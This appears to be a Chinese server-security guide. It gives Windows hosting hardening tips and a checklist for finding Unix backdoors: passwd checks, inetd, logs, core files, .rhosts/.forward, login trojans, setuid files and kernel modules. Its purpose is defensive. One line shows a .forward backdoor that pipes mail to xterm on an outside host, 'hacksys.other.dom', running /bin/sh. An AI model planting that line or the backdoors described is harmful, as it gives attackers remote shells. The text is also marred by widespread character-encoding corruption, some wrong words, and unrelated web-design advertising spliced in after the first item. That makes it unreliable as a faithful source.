1.有沒(méi)有將sql 2000,mysql運(yùn)行在普通用戶權(quán)限下，這是最重要的一點(diǎn)，大部分的都是利用數(shù)據(jù)庫(kù)的權(quán)限進(jìn)行的。
公司主營(yíng)業(yè)務(wù)：成都網(wǎng)站設(shè)計(jì)、做網(wǎng)站、移動(dòng)網(wǎng)站開發(fā)等業(yè)務(wù)。幫助企業(yè)客戶真正實(shí)現(xiàn)互聯(lián)網(wǎng)宣傳，提高企業(yè)的競(jìng)爭(zhēng)能力。創(chuàng)新互聯(lián)是一支青春激揚(yáng)、勤奮敬業(yè)、活力青春激揚(yáng)、勤奮敬業(yè)、活力澎湃、和諧高效的團(tuán)隊(duì)。公司秉承以“開放、自由、嚴(yán)謹(jǐn)、自律”為核心的企業(yè)文化，感謝他們對(duì)我們的高要求，感謝他們從不同領(lǐng)域給我們帶來(lái)的挑戰(zhàn)，讓我們激情的團(tuán)隊(duì)有機(jī)會(huì)用頭腦與智慧不斷的給客戶帶來(lái)驚喜。創(chuàng)新互聯(lián)推出灌南免費(fèi)做網(wǎng)站回饋大家。
2.關(guān)閉所有沒(méi)用的端口
3.所有盤的根目錄都不能有everyone,users 的讀與運(yùn)行權(quán)限。
4.加強(qiáng)PHP的安全：
5.不要裝或使用CGI，CGI存在先天上的安全隱患。
6.不要安裝任何的第三方軟件。例如XX優(yōu)化軟件，XX插件之類的，更不要在租用的服務(wù)器上注冊(cè)未知的組件。
7.不要在服務(wù)器上使用IE訪問(wèn)任何網(wǎng)站。
8.Mysql要用4.1以上的版本，4.0版本存在安全問(wèn)題。
9.不要裝PCanywhere或Radmin因?yàn)樗鼈儽旧砭痛嬖诎踩珕?wèn)題，可以直接用windows 2003自帶的3389，它比任何遠(yuǎn)程控制軟件都安全。
10.不要在服務(wù)器上雙擊運(yùn)行任何程序，不然你中了什么都不知道。
11.不要在服務(wù)器上用IE打開用戶的硬盤中的網(wǎng)頁(yè)，這是危險(xiǎn)的行為。
12.不要在服務(wù)器上瀏覽圖片，以前windows就出過(guò)GDI+的安全漏洞。
13.確保你自己的電腦安全，如果你自己的電腦不安全，服務(wù)器也不可能安全。
14.如果你使用imail，必須要用8.2以上版本，8.1存在安全嚴(yán)重的安全漏洞。
一個(gè)小心謹(jǐn)慎的服務(wù)器管理人員，是服務(wù)器安全的最后保障，按以上設(shè)置后，就算你的用戶上傳了什么東西在自己的網(wǎng)站中，也絕對(duì)影響不了你租用的服務(wù)器。 壹基比小喻為你解答。
如果懷疑服務(wù)器中病毒了，首要的任務(wù)清除病毒。
首先，服務(wù)器安裝殺毒軟件，升級(jí)到最新版本。
然后，斷掉網(wǎng)絡(luò)，到安全模式下，全盤對(duì)服務(wù)器進(jìn)行殺毒。這樣也能避免病毒通過(guò)局域網(wǎng)渠道傳播到其他的機(jī)器上。
平時(shí)建議服務(wù)器及時(shí)修復(fù)漏洞，不要隨便下載安裝軟件。設(shè)置安全級(jí)別比較高的口令，禁止其他人隨便登陸。
1、檢查系統(tǒng)密碼文件
首先從明顯的入手，查看一下passwd文件，ls –l /etc/passwd查看文件修改的日期。
檢查一下passwd文件中有哪些特權(quán)用戶，系統(tǒng)中uid為0的用戶都會(huì)被顯示出來(lái)。
1
awk –F:’$3==0?{print?$1}’?/etc/passwd
順便再檢查一下系統(tǒng)里有沒(méi)有空口令帳戶：
1
awk –F: ‘length($2)==0?{print?$1}’?/etc/shadow
2、查看一下進(jìn)程，看看有沒(méi)有奇怪的進(jìn)程
重點(diǎn)查看進(jìn)程：ps –aef | grep inetd
inetd是UNIX系統(tǒng)的守護(hù)進(jìn)程，正常的inetd的pid都比較靠前，如果你看到輸出了一個(gè)類似inetd –s /tmp/.xxx之類的進(jìn)程，著重看inetd –s后面的內(nèi)容。在正常情況下，LINUX系統(tǒng)中的inetd服務(wù)后面是沒(méi)有-s參數(shù)的，當(dāng)然也沒(méi)有用inetd去啟動(dòng)某個(gè)文件；而solaris系統(tǒng)中也僅僅是inetd –s，同樣沒(méi)有用inetd去啟動(dòng)某個(gè)特定的文件；如果你使用ps命令看到inetd啟動(dòng)了某個(gè)文件，而你自己又沒(méi)有用inetd啟動(dòng)這個(gè)文件，那就說(shuō)明已經(jīng)有人入侵了你的系統(tǒng)，并且以root權(quán)限起了一個(gè)簡(jiǎn)單的后門。
輸入ps –aef 查看輸出信息，尤其注意有沒(méi)有以./xxx開頭的進(jìn)程。一旦發(fā)現(xiàn)異樣的進(jìn)程，經(jīng)檢查為入侵者留下的后門程序，立即運(yùn)行kill –9 pid 開殺死該進(jìn)程，然后再運(yùn)行ps –aef查看該進(jìn)程是否被殺死；一旦此類進(jìn)程出現(xiàn)殺死以后又重新啟動(dòng)的現(xiàn)象，則證明系統(tǒng)被人放置了自動(dòng)啟動(dòng)程序的腳本。這個(gè)時(shí)候要進(jìn)行仔細(xì)查找：find / -name 程序名 –print，假設(shè)系統(tǒng)真的被入侵者放置了后門，根據(jù)找到的程序所在的目錄，會(huì)找到很多有趣的東東J
UNIX下隱藏進(jìn)程有的時(shí)候通過(guò)替換ps文件來(lái)做，檢測(cè)這種方法涉及到檢查文件完整性，稍后我們?cè)儆懻撨@種方法。
接下來(lái)根據(jù)找到入侵者在服務(wù)器上的文件目錄，一步一步進(jìn)行追蹤。
3、檢查系統(tǒng)守護(hù)進(jìn)程
檢查/etc/inetd.conf文件，輸入：cat /etc/inetd.conf | grep –v “^#”，輸出的信息就是你這臺(tái)機(jī)器所開啟的遠(yuǎn)程服務(wù)。
一般入侵者可以通過(guò)直接替換in.xxx程序來(lái)創(chuàng)建一個(gè)后門，比如用/bin/sh 替換掉in.telnetd，然后重新啟動(dòng)inetd服務(wù)，那么telnet到服務(wù)器上的所有用戶將不用輸入用戶名和密碼而直接獲得一個(gè)rootshell。
4、檢查網(wǎng)絡(luò)連接和監(jiān)聽端口
輸入netstat -an，列出本機(jī)所有的連接和監(jiān)聽的端口，查看有沒(méi)有非法連接。
輸入netstat –rn，查看本機(jī)的路由、網(wǎng)關(guān)設(shè)置是否正確。
輸入 ifconfig –a，查看網(wǎng)卡設(shè)置。
5、檢查系統(tǒng)日志
命令last | more查看在正常情況下登錄到本機(jī)的所有用戶的歷史記錄。但last命令依賴于syslog進(jìn)程，這已經(jīng)成為入侵者攻擊的重要目標(biāo)。入侵者通常會(huì)停止系統(tǒng)的syslog，查看系統(tǒng)syslog進(jìn)程的情況，判斷syslog上次啟動(dòng)的時(shí)間是否正常，因?yàn)閟yslog是以root身份執(zhí)行的，如果發(fā)現(xiàn)syslog被非法動(dòng)過(guò)，那說(shuō)明有重大的入侵事件。
在linux下輸入ls –al /var/log
在solaris下輸入 ls –al /var/adm
檢查wtmp utmp，包括messgae等文件的完整性和修改時(shí)間是否正常，這也是手工擦除入侵痕跡的一種方法。
6、檢查系統(tǒng)中的core文件
通過(guò)發(fā)送畸形請(qǐng)求來(lái)攻擊服務(wù)器的某一服務(wù)來(lái)入侵系統(tǒng)是一種常規(guī)的入侵方法，典型的RPC攻擊就是通過(guò)這種方式。這種方式有一定的成功率，也就是說(shuō)它并不能100%保證成功入侵系統(tǒng)，而且通常會(huì)在服務(wù)器相應(yīng)目錄下產(chǎn)生core文件，全局查找系統(tǒng)中的core文件，輸入find / -name core –exec ls –l {} \; 依據(jù)core所在的目錄、查詢core文件來(lái)判斷是否有入侵行為。
7、.rhosts和.forward
這是兩種比較著名的后門文件，如果想檢查你的系統(tǒng)是否被入侵者安裝了后門，不妨全局查找這兩個(gè)文件：
find / -name “.rhosts” –print
find / -name “.forward” –print
在某用戶的$HOME下，.rhosts文件中僅包含兩個(gè)+號(hào)是非常危險(xiǎn)的，如果你的系統(tǒng)上開了513端口（rlogin端口，和telnet作用相同），那么任意是誰(shuí)都可以用這個(gè)用戶登錄到你的系統(tǒng)上而不需要任何驗(yàn)證。
看到這里如果想要深入的做安全加固服務(wù)以及安全部署
就必須找專業(yè)做服務(wù)器的安全公司來(lái)處理了國(guó)內(nèi)也就Sine安全和綠盟比較專業(yè)提供。
Unix下在.forward文件里放入命令是重新獲得訪問(wèn)的常用方法在某一 用戶$HOME下的.forward可能設(shè)置如下:
\username|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 –e /bin/sh"
這種方法的變形包括改變系統(tǒng)的mail的別名文件(通常位于/etc/aliases). 注意這只是一種簡(jiǎn)單的變換. 更為高級(jí)的能夠從.forward中運(yùn)行簡(jiǎn)單腳本實(shí)現(xiàn)在標(biāo)準(zhǔn)輸入執(zhí)行任意命令(小部分預(yù)處理后).利用smrsh可以有效的制止這種后門(雖然如果允許可以自運(yùn)行的elm's filter或procmail類程序, 很有可能還有問(wèn)題。在Solaris系統(tǒng)下，如果你運(yùn)行如下命令：
ln -s /var/mail/luser ~/.forward
然后設(shè)置vacation有效，那么/var/mail/luser就會(huì)被拷貝到~/.forward，同時(shí)會(huì)附加"|/usr/bin/vacation me"，舊的symlink被移到~/.forward..BACKUP中。
直接刪除掉這兩個(gè)文件也可以。
8、檢查系統(tǒng)文件完整性
檢查文件的完整性有多種方法，通常我們通過(guò)輸入ls –l 文件名來(lái)查詢和比較文件，這種方法雖然簡(jiǎn)單，但還是有一定的實(shí)用性。但是如果ls文件都已經(jīng)被替換了就比較麻煩。在LINUX下可以用rpm –V `rpm –qf 文件名` 來(lái)查詢，國(guó)家查詢的結(jié)果是否正常來(lái)判斷文件是否完整。在LINUX下使用rpm來(lái)檢查文件的完整性的方法也很多，這里不一一贅述，可以man rpm來(lái)獲得更多的格式。
UNIX系統(tǒng)中，/bin/login是被入侵者經(jīng)常替換作為后門的文件，接下來(lái)談一下login后門 ：
UNIX里，Login程序通常用來(lái)對(duì)telnet來(lái)的用戶進(jìn)行口令驗(yàn)證。入侵者獲取login的源代碼并修改，使它在比較輸入口令與存儲(chǔ)口令時(shí)先檢查后門口令。如果用戶敲入后門口令，它將忽視管理員設(shè)置的口令讓你長(zhǎng)驅(qū)直入：這將允許入侵者進(jìn)入任何賬號(hào)，甚至是root目錄。由于后門口令是在用戶真實(shí)登錄并被日志記錄到utmp和wtmP前產(chǎn)生的一個(gè)訪問(wèn)，所以入侵者可以登錄獲取shell卻不會(huì)暴露該賬號(hào)。管理員注意到這種后門后，使用”strings”命令搜索login程序以尋找文本信息。許多情況下后門口令會(huì)原形畢露。入侵者又會(huì)開始加密或者更改隱藏口令，使strings命令失效。所以許多管理員利用MD5校驗(yàn)和檢測(cè)這種后門。UNIX系統(tǒng)中有md5sum命令，輸入md5sum 文件名檢查該文件的md5簽名。它的使用格式如下：md5sum –b 使用二進(jìn)制方式閱讀文件；md5sum –c 逆向檢查MD5簽名；md5sum –t 使用文本方式閱讀文件。
在前面提到過(guò)守護(hù)進(jìn)程，對(duì)于守護(hù)進(jìn)程配置文件inetd.conf中沒(méi)有被注釋掉的行要進(jìn)行仔細(xì)比較，舉個(gè)簡(jiǎn)單的例子，如果你開放了telnet服務(wù)，守護(hù)進(jìn)程配置文件中就會(huì)有一句：telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd
可以看到它所使用的文件是 /usr/sbin/in.telnetd，檢查該文件的完整性，入侵者往往通過(guò)替換守護(hù)進(jìn)程中允許的服務(wù)文件來(lái)為自己創(chuàng)建一個(gè)后門。
LINUX系統(tǒng)中的/etc/crontab也是經(jīng)常被入侵者利用的一個(gè)文件，檢查該文件的完整性，可以直接cat /etc/crontab，仔細(xì)閱讀該文件有沒(méi)有被入侵者利用來(lái)做其他的事情。
不替換login等文件而直接使用進(jìn)程來(lái)啟動(dòng)后門的方法有一個(gè)缺陷，即系統(tǒng)一旦重新啟動(dòng)，這個(gè)進(jìn)程就被殺死了，所以得讓這個(gè)后門在系統(tǒng)啟動(dòng)的時(shí)候也啟動(dòng)起來(lái)。通常通過(guò)檢查/etc/rc.d下的文件來(lái)查看系統(tǒng)啟動(dòng)的時(shí)候是不是帶有后門程序；這個(gè)方法怎么有點(diǎn)象查windows下的trojan？
說(shuō)到這里，另外提一下，如果在某一目錄下發(fā)現(xiàn)有屬性為這樣的文件：-rwsr-xr-x 1 root root xxx .sh，這個(gè)表明任何用戶進(jìn)來(lái)以后運(yùn)行這個(gè)文件都可以獲得一個(gè)rootshell，這就是setuid文件。運(yùn)行 find –perm 4000 –print對(duì)此類文件進(jìn)行全局查找，然后刪除這樣的文件。
9、檢查內(nèi)核級(jí)后門
如果你的系統(tǒng)被人安裝了這種后門，通常都是比較討厭的，我常常就在想，遇到這種情況還是重新安裝系統(tǒng)算了J，言歸正傳，首先，檢查系統(tǒng)加載的模塊，在LINUX系統(tǒng)下使用lsmod命令，在solaris系統(tǒng)下使用modinfo命令來(lái)查看。這里需要說(shuō)明的是，一般默認(rèn)安裝的LINUX加載的模塊都比較少，通常就是網(wǎng)卡的驅(qū)動(dòng)；而solaris下就很多，沒(méi)別的辦法，只有一條一條地去分析。對(duì)內(nèi)核進(jìn)行加固后，應(yīng)禁止插入或刪除模塊，從而保護(hù)系統(tǒng)的安全，否則入侵者將有可能再次對(duì)系統(tǒng)調(diào)用進(jìn)行替換。我們可以通過(guò)替換create_module()和delete_module()來(lái)達(dá)到上述目的。另外，對(duì)這個(gè)內(nèi)核進(jìn)行加固模塊時(shí)應(yīng)盡早進(jìn)行，以防系統(tǒng)調(diào)用已經(jīng)被入侵者替換。如果系統(tǒng)被加載了后門模塊，但是在模塊列表/proc/module里又看不到它們，有可能是使用了hack工具來(lái)移除加載的模塊，大名鼎鼎的knark工具包就有移除加載模塊的工具。出現(xiàn)這種情況，需要仔細(xì)查找/proc目錄，根據(jù)查找到的文件和經(jīng)驗(yàn)來(lái)判斷被隱藏和偽裝的進(jìn)程。Knark后門模塊就在/proc/knark目錄，當(dāng)然可能這個(gè)目錄是隱藏的。
重慶分公司
重慶分公司
